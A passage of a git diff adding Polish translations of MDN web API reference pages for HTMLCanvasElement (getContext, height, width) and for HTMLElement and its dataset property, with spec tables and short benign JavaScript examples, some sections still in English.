+ <td>{{SpecName('HTML5.1', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td></td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "scripting-1.html#dom-canvas-getcontext", "HTMLCanvasElement.getContext")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot {{SpecName('HTML WHATWG')}} zawiera początkową definicje.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2>
+
+
+
+<p>{{Compat("api.HTMLCanvasElement.getContext")}}</p>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>Interfejs definiujacy element, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>{{domxref("OffscreenCanvas.getContext()")}}</li>
+ <li>Dostępne konteksty renderowania: {{domxref("CanvasRenderingContext2D")}}, {{domxref("WebGLRenderingContext")}}, {{domxref("WebGL2RenderingContext")}} i {{domxref("ImageBitmapRenderingContext")}}.</li>
+</ul>
diff --git a/files/pl/web/api/htmlcanvaselement/height/index.html b/files/pl/web/api/htmlcanvaselement/height/index.html
new file mode 100644
index 0000000000..0ff266ff84
--- /dev/null
+++ b/files/pl/web/api/htmlcanvaselement/height/index.html
@@ -0,0 +1,79 @@
+---
+title: HTMLCanvasElement.height
+slug: Web/API/HTMLCanvasElement/height
+translation_of: Web/API/HTMLCanvasElement/height
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+
+<div> </div>
+
+<div><span>Własność </span><strong><code><span>HTMLCanvasElement.height</span></code><span> </span></strong><span>wyrażana jest w </span>dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut <code><a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/canvas#attr-height" rel="nofollow">height</a></code> elemetu HTML <a href="https://developer.mozilla.org/pl/docs/Web/HTML/Element/canvas" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>&lt;canvas&gt;</code></a> i jest interpretowany w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>150</code>.</div>
+
+<div> </div>
+
+<div>To jedna z dwóch własności kontrolujących wielkość {{HTMLElement("canvas")}}, druga z nich to {{domxref("HTMLCanvasElement.width")}}.</div>
+</div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>canvas</em></var>.height;
+<em>canvas</em>.height = <em>pxl</em>;
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Biorąc pod uwagę element {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>Można sprawdzić jego wysokość za pomocą kodu:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+console.log(canvas.height); // 300
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>
+ <p>Brak zmian od ostatniego snapshota, {{SpecName('HTML5 W3C')}}</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-height", "HTMLCanvasElement.height")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot {{SpecName('HTML WHATWG')}} zawierający początkową definicje.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przeglądarek">Zgodność przeglądarek</h2>
+
+
+
+<p>{{Compat("api.HTMLCanvasElement.height")}}</p>
+
+<h2 id="See_Also" name="See_Also">Zobacz też</h2>
+
+<ul>
+ <li>Interfejs definiujący tą własność, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>Inna własność kontrolujaca wielkość {{HTMLElement("canvas")}}, {{domxref("HTMLCanvasElement.width")}}.</li>
+</ul>
diff --git a/files/pl/web/api/htmlcanvaselement/index.html b/files/pl/web/api/htmlcanvaselement/index.html
new file mode 100644
index 0000000000..21deee3bf0
--- /dev/null
+++ b/files/pl/web/api/htmlcanvaselement/index.html
@@ -0,0 +1,97 @@
+---
+title: HTMLCanvasElement
+slug: Web/API/HTMLCanvasElement
+translation_of: Web/API/HTMLCanvasElement
+---
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+</div>
+
+<p>Interfejs HTMLCanvasElement zapewnia własności i metody pozwalające na manipulację wygladem i prezentacją elementów canvas. Dodatkowo HTMLCanvasElement dziedziczy własności i metody interfejsu HTMLElement.</p>
+
+<p>{{InheritanceDiagram(600, 120)}}</p>
+
+<h2 id="Własności">Własności</h2>
+
+<p><em>Własności dziedziczone są od rodzica, {{domxref("HTMLElement")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.height")}}</dt>
+ <dd>Wyrażany w dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut {{htmlattrxref("height", "canvas")}} elemetu HTML {{HTMLElement("canvas")}} i jest interpretowany w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>150</code>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.width")}}</dt>
+ <dd>Wyrażany w dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut {{htmlattrxref("width", "canvas")}} elemetu HTML {{HTMLElement("canvas")}} i jest interpretowany w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>300</code>.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<p><em>Metody dziedziczone są od rodzica, <em>{{domxref("HTMLElement")}}.</em></em></p>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.captureStream()")}} {{experimental_inline}}</dt>
+ <dd>Zwraca {{domxref("CanvasCaptureMediaStream")}}, który jest wideo w czasie rzeczywistym z powierzchni elementu {{HTMLElement("canvas")}}.</dd>
+ <dt>{{domxref("HTMLCanvasElement.getContext()")}}</dt>
+ <dd>Zwraca pole robocze elementu {{HTMLElement("canvas")}}, lub null jeśli kontekst nie jest wspierany. Pole robocze pozwala na rysowanie na {{HTMLElement("canvas")}}. Wywołanie getContext z atrybutem <code>"2d"</code> zwraca obiekt {{domxref("CanvasRenderingContext2D")}}, natomiast wywołanie z <code>"webgl"</code> (lub <code>"experimental-webgl"</code>) zwróci obiekt {{domxref("WebGLRenderingContext")}}. Ten kontekst jest dostepny tylko w przeglądarkach obsługujących WebGL.</dd>
+</dl>
+
+<dl>
+ <dt>{{domxref("HTMLCanvasElement.toDataURL()")}}</dt>
+ <dd>Zwraca data-URL reprezentujacy obraz w formacie określonym przez parametr <code>type</code> (domyślnie <code>png</code>). Zwracany obraz jest w rozdzielczości 96dpi.</dd>
+ <dt>{{domxref("HTMLCanvasElement.toBlob()")}}</dt>
+ <dd>Tworzy obiekt {{domxref("Blob")}} reprezentujący obraz zawierający się w {{HTMLElement("canvas")}}; ten plik może być buforowany z dysku lub przechowywany w pamięci wedle uznania <code>user agent</code>.</dd>
+ <dt>{{domxref("HTMLCanvasElement.transferControlToOffscreen()")}} {{experimental_inline}}</dt>
+ <dd>Przenosi kontrolę do obiektu {{domxref ("OffscreenCanvas")}}, w głównym wątku lub w module roboczym.</dd>
+ <dt>{{domxref("HTMLCanvasElement.mozGetAsFile()")}} {{non-standard_inline}} {{deprecated_inline}}</dt>
+ <dd>Zwraca obiekt {{domxref("File")}} reprezentujący obraz zawarty w {{HTMLElement("canvas")}}; plik oparty jest na pamięci, posiada określoną <code>nazwę</code>. Jeśli <code>typ</code> nie został okreslony, domyslnie jest to <code>image/png</code>.</dd>
+</dl>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('Media Capture DOM Elements', '#html-media-element-media-capture-extensions', 'HTMLCanvasElement')}}</td>
+ <td>{{Spec2('Media Capture DOM Elements')}}</td>
+ <td>
+ <p>Dodano metodę <code>captureStream()</code>.</p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "#the-canvas-element", "HTMLCanvasElement")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>
+ <p>Metoda <code>getContext()</code> zwraca teraz {{domxref("RenderingContext")}} zamiast obiektu nieprzeźroczystego</p>
+
+ <p>Dodano metodę <code>transferControlToOffscreen()</code></p>
+ </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "scripting-1.html#the-canvas-element", "HTMLCanvasElement")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Definicja początkowa.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przegladarek">Zgodność przegladarek</h2>
+
+<div>
+
+
+<p>{{Compat("api.HTMLCanvasElement")}}</p>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>HTML element implementing this interface: {{HTMLElement("canvas")}}.</li>
+</ul>
diff --git a/files/pl/web/api/htmlcanvaselement/width/index.html b/files/pl/web/api/htmlcanvaselement/width/index.html
new file mode 100644
index 0000000000..3be0eabbf8
--- /dev/null
+++ b/files/pl/web/api/htmlcanvaselement/width/index.html
@@ -0,0 +1,79 @@
+---
+title: HTMLCanvasElement.width
+slug: Web/API/HTMLCanvasElement/width
+translation_of: Web/API/HTMLCanvasElement/width
+---
+<div>
+<div>
+<div>{{APIRef("Canvas API")}}</div>
+
+<div> </div>
+
+<div>
+<p>Własność <strong><code>HTMLCanvasElement.width </code></strong>wyrażana jest w dodatniej <code>liczbie całkowitej </code>odpowiada za atrybut {{htmlattrxref("width", "canvas")}} elemetu HTML {{HTMLElement("canvas")}} i jest interpretowana w pikselach CSS. Jeśli atrybut nie został określony, lub została przypisana do niego nieprawidłowa wartość, np. negatywna, zostanie użyta domyślna wartość <code>300</code>.</p>
+
+<p>To jedna z dwóch własności kontrolujących wielkość {{HTMLElement("canvas")}}, druga z nich to {{domxref("HTMLCanvasElement.height")}}.</p>
+</div>
+</div>
+</div>
+
+<h2 id="Syntax" name="Syntax">Składnia</h2>
+
+<pre class="syntaxbox"><var>var <em>pxl</em> = <em>canvas</em></var>.width;
+<em>canvas</em>.width = <em>pxl</em>;
+</pre>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<p>Wykorzystując element {{HTMLElement("canvas")}}:</p>
+
+<pre class="brush: html">&lt;canvas id="canvas" width="300" height="300"&gt;&lt;/canvas&gt;
+</pre>
+
+<p>You can get the width of the canvas with the following code:</p>
+
+<p>Informacje o szerokości {{HTMLElement("canvas")}} można uzyskać za pomocą kodu:</p>
+
+<pre class="brush: js">var canvas = document.getElementById('canvas');
+console.log(canvas.width); // 300
+</pre>
+
+<h2 id="Specyfikacja">Specyfikacja</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "scripting.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Brak zmian od ostatniego snapshota, {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "scripting-1.html#attr-canvas-width", "HTMLCanvasElement.width")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot {{SpecName('HTML WHATWG')}} zawierający początkową definicje.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Zgodność_przegladarek">Zgodność przegladarek</h2>
+
+
+
+<p>{{Compat("api.HTMLCanvasElement.width")}}</p>
+
+<h2 id="See_Also" name="See_Also">Zobacz też</h2>
+
+<ul>
+ <li>Interfejs definiujący tą własność, {{domxref("HTMLCanvasElement")}}.</li>
+ <li>Inna własność kontrolujaca wielkość {{HTMLElement("canvas")}}, {{domxref("HTMLCanvasElement.height")}}.</li>
+</ul>
diff --git a/files/pl/web/api/htmlelement/dataset/index.html b/files/pl/web/api/htmlelement/dataset/index.html
new file mode 100644
index 0000000000..fac7ec119f
--- /dev/null
+++ b/files/pl/web/api/htmlelement/dataset/index.html
@@ -0,0 +1,134 @@
+---
+title: HTMLElement.dataset
+slug: Web/API/HTMLElement/dataset
+translation_of: Web/API/HTMLOrForeignElement/dataset
+---
+<div>{{ APIRef("HTML DOM") }}</div>
+
+<p><span class="seoSummary">Właściwość <code><strong>dataset</strong></code> interfejsu {{domxref("HTMLElement")}} pozwala na odczyt/zapis <a href="/en/HTML/Global_attributes#attr-data-*" title="https://developer.mozilla.org/en/HTML/Global_attributes#attr-data-*">niestandardowcyh atrybutów</a> (<code>data-*</code>) elementu.</span> Dostęp ten jest możliwy w HTMLu jak i w DOMie.  It is a <a href="/en/DOM/DOMStringMap" title="en/DOM/DOMStringMap">map of DOMString</a>, one entry for each custom data attribute. Zauważ że właściwość<strong> </strong><code>dataset</code><strong> </strong>można odczytać, ale nie zmieniać bezpośrednio. Zamiast tego, wszystkie zapisy muszą być wykonywane na pojedynczych polach <code>dataset</code>, które odpowiadają atrybutom danych. Note also that an HTML <code><strong>data-</strong></code><em>attribute</em> and its corresponding DOM<strong> </strong><code>dataset.</code><em>property</em> do not share the same name, but they are always similar:</p>
+
+<ul>
+ <li>The name of a custom data attribute in HTML begins with <code>data-</code>. It must contain only letters, numbers and the following characters: dash (<code>-</code>), dot (<code>.</code>), colon (<code>:</code>), underscore (<code>_</code>) -- but NOT any ASCII capital letters (<code>A</code> to <code>Z</code>).</li>
+ <li>The name of a custom data attribute in JavaScript is the name of the same HTML attribute but in camelCase and with no dashes, dots, etc.</li>
+</ul>
+
+<p>In addition to the information below, you'll find a how-to guide for using HTML data attributes in our article <a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Using data attributes.</a></p>
+
+<h3 id="Zmiana_nazw">Zmiana nazw</h3>
+
+<p>dash-style to camelCase: A custom data attribute name is transformed to a key for the {{ domxref("DOMStringMap") }} entry with the following rules</p>
+
+<ul>
+ <li>the prefix <code>data-</code> is removed (including the dash);</li>
+ <li>for any dash (<code>U+002D</code>) followed by an<span style="line-height: 1.5;"> ASCII lowercase letter </span><code>a</code><span style="line-height: 1.5;"> to </span><code>z</code><span style="line-height: 1.5;">, the dash is removed and the letter is transformed into its uppercase counterpart;</span></li>
+ <li>other characters (including other dashes) are left unchanged.</li>
+</ul>
+
+<p>camelCase to dash-style: The opposite transformation, that maps a key to an attribute name, uses the following rules:</p>
+
+<ul>
+ <li>Restriction: A dash must not be immediately followed by an ASCII lowercase letter <code>a</code> to <code>z</code> (before the transformation);</li>
+ <li>a prefix <code>data-</code> is added;</li>
+ <li>any ASCII uppercase letter <code>A</code> to <code>Z</code> is transformed into a dash followed by its lowercase counterpart;</li>
+ <li>other characters are left unchanged.</li>
+</ul>
+
+<p>The restriction in the rules above ensures that the two transformations are the inverse one of the other.</p>
+
+<p>For example, the attribute named <code>data-abc-def</code> corresponds to the key <code>abcDef</code>.</p>
+
+<ul>
+</ul>
+
+<h3 id="Dostęp_do_wartości">Dostęp do wartości</h3>
+
+<ul>
+ <li>Attributes can be set and read by using the camelCase name (the key) like an object property of the dataset, as in <em>element.</em>dataset.<em>keyname</em></li>
+ <li>Attributes can also be set and read using the object-properties bracket-syntax, as in <em>element.</em>dataset[<em>keyname</em>]</li>
+ <li>The <a href="/en-US/docs/Web/JavaScript/Reference/Operators/in">in operator</a> can be used to check whether a given atttribute exists.</li>
+</ul>
+
+
+
+<h3 id="Ustawianie_wartości">Ustawianie wartości</h3>
+
+<ul>
+ <li>Podawana podczas ustawiania atrybutu wartość jest zawsze zapisywana jako łańcuch znaków, np. <code>null</code> jest zapisywane jako "null".</li>
+ <li>Usunięcie atrybutu jest możliwe przy pomocy <a href="/en-US/docs/Web/JavaScript/Reference/Operators/delete">operatora delete</a>.</li>
+</ul>
+
+<h2 id="Składnia">Składnia</h2>
+
+<ul>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>.<em>camelCasedName</em>;</li>
+ <li><em>element.</em><strong>dataset</strong>.<em>camelCasedName</em> = <em>string</em>;</li>
+ <br>
+ <li><em>string</em> = <em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>];</li>
+ <li><em>element</em>.<strong>dataset</strong>[<em>camelCasedName</em>] = <em>string</em>;</li>
+ <br>
+ <li><em>Custom data attributes can also be set directly on HTML elements, but attribute names must use the data- syntax above. </em></li>
+</ul>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<pre class="brush: html">&lt;div id="user" data-id="1234567890" data-user="johndoe" data-date-of-birth&gt;John Doe&lt;/div&gt;</pre>
+
+<pre class="brush: js">const el = document.querySelector('#user');
+
+// el.id == 'user'
+// el.dataset.id === '1234567890'
+// el.dataset.user === 'johndoe'
+// el.dataset.dateOfBirth === ''
+
+// set the data attribute
+el.dataset.dateOfBirth = '1960-10-03';
+// Result: el.dataset.dateOfBirth === 1960-10-03
+
+delete el.dataset.dateOfBirth;
+// Result: el.dataset.dateOfBirth === undefined
+
+// 'someDataAttr' in el.dataset === false
+el.dataset.someDataAttr = 'mydata';
+// Result: 'someDataAttr' in el.dataset === true
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>No change from latest snapshot, {{SpecName('HTML5.1')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5.1', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML5.1')}}</td>
+ <td>Snapshot of {{SpecName('HTML WHATWG')}}, no change from {{SpecName('HTML5 W3C')}}</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', "dom.html#dom-dataset", "HTMLElement.dataset")}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
+ <td>Snapshot of  {{SpecName('HTML WHATWG')}}, initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+
+
+<p>{{Compat("api.HTMLElement.dataset")}}</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>The HTML <code><a href="/en-US/docs/Web/HTML/Global_attributes/data-*"><strong>data-*</strong></a></code> class of global attributes.</li>
+ <li><a href="/en-US/docs/Learn/HTML/Howto/Use_data_attributes">Używanie atrybutów danych</a></li>
+ <li>{{domxref("Element.getAttribute()")}} and {{domxref("Element.setAttribute()")}}</li>
+</ul>
diff --git a/files/pl/web/api/htmlelement/index.html b/files/pl/web/api/htmlelement/index.html
new file mode 100644
index 0000000000..d27d11fd7b
--- /dev/null
+++ b/files/pl/web/api/htmlelement/index.html
@@ -0,0 +1,409 @@
+---
+title: HTMLElement
+slug: Web/API/HTMLElement
+tags:
+ - API
+ - HTML DOM
+ - Interface
+ - NeedsMobileBrowserCompatibility
+ - NeedsNewLayout
+ - NeedsTranslation
+ - Reference
+ - TopicStub
+translation_of: Web/API/HTMLElement
+---
+<div>
+<div>{{ APIRef("HTML DOM") }}</div>
+</div>
+
+<div> </div>
+
+<p>The <strong><code>HTMLElement</code></strong> interface represents any <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a> element. Some elements directly implement this interface, others implement it via an interface that inherits it.</p>
+
+<h2 id="Properties">Properties</h2>
+
+<p><em>Inherits properties from its parent, {{domxref("Element")}}, and implements those from {{domxref("GlobalEventHandlers")}} and {{domxref("TouchEventHandlers")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.accessKey")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the access key assigned to the element.</dd>
+ <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMString")}} containing the element's assigned access key.</dd>
+ <dt>{{domxref("HTMLElement.contentEditable")}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, where a value of <code>"true"</code> means the element is editable and a value of <code>"false"</code> means it isn't.</dd>
+ <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("Boolean")}} that indicates whether or not the content of the element can be edited.</dd>
+ <dt>{{domxref("HTMLElement.contextMenu")}}</dt>
+ <dd>Is an {{domxref("HTMLMenuElement")}} representing the contextual menu associated with the element. It may be null</dd>
+ <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMStringMap")}} that allows access to read and write the element custom data attributes (<code>data-*</code>) .</dd>
+ <dt>{{domxref("HTMLElement.dir")}}</dt>
+ <dd>Is a {{domxref("DOMString")}}, reflecting the <code>dir</code> global attribute, representing the directionality of the element. Possible values are <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd>
+ <dt>{{domxref("HTMLElement.draggable")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element can be dragged.</dd>
+ <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}} reflecting the <code>dropzone</code> global attribute and describing the behavior of the element regarding a drop operation.</dd>
+ <dt>{{domxref("HTMLElement.hidden")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.</dd>
+ <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt>
+ <dd>Is a {{domxref("DOMString")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd>
+ <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt>
+ <dd>Returns an {{jsxref("Object")}}…</dd>
+ <dt>{{domxref("HTMLElement.lang")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.</dd>
+ <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the height of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's left border to its <code>offsetParent</code>'s left border.</dd>
+ <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd>
+ <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd>
+ <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd>
+ <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt>
+ <dd>Returns an {{domxref("HTMLPropertiesCollection")}}…</dd>
+ <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt>
+ <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it hasn't an effect on all of them.</dd>
+ <dt>{{domxref("HTMLElement.style")}}</dt>
+ <dd>Is {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd>
+ <dt>{{domxref("HTMLElement.tabIndex")}}</dt>
+ <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd>
+ <dt>{{domxref("HTMLElement.title")}}</dt>
+ <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd>
+ <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt>
+ <dd>Is a {{jsxref("Boolean")}}</dd>
+</dl>
+
+<h3 id="Event_handlers">Event handlers</h3>
+
+<p>Most events properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}}, implemented by <code>HTMLElement</code>. A few more are specific to <code>HTMLElement</code>.</p>
+
+<dl>
+ <dt>{{ domxref("HTMLElement.oncopy") }}  {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.oncut") }}  {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd>
+ <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt>
+ <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchend")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd>
+ <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt>
+ <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd>
+</dl>
+
+<h2 id="Methods">Methods</h2>
+
+<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("HTMLElement.blur()")}}</dt>
+ <dd>Removes keyboard focus from the currently focused element.</dd>
+ <dt>{{domxref("HTMLElement.click()")}}</dt>
+ <dd>Sends a mouse click event to the element.</dd>
+ <dt>{{domxref("HTMLElement.focus()")}}</dt>
+ <dd>Makes the element the current keyboard focus.</dd>
+ <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt>
+ <dd>Makes the spell checker runs on the element.</dd>
+</dl>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td>
+ <td>{{Spec2('CSSOM View')}}</td>
+ <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td>
+ <td>{{Spec2('HTML WHATWG')}}</td>
+ <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br>
+ Added the following method: <code>forceSpellcheck()</code>.<br>
+ Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td>
+ <td>{{Spec2('HTML5 W3C')}}</td>
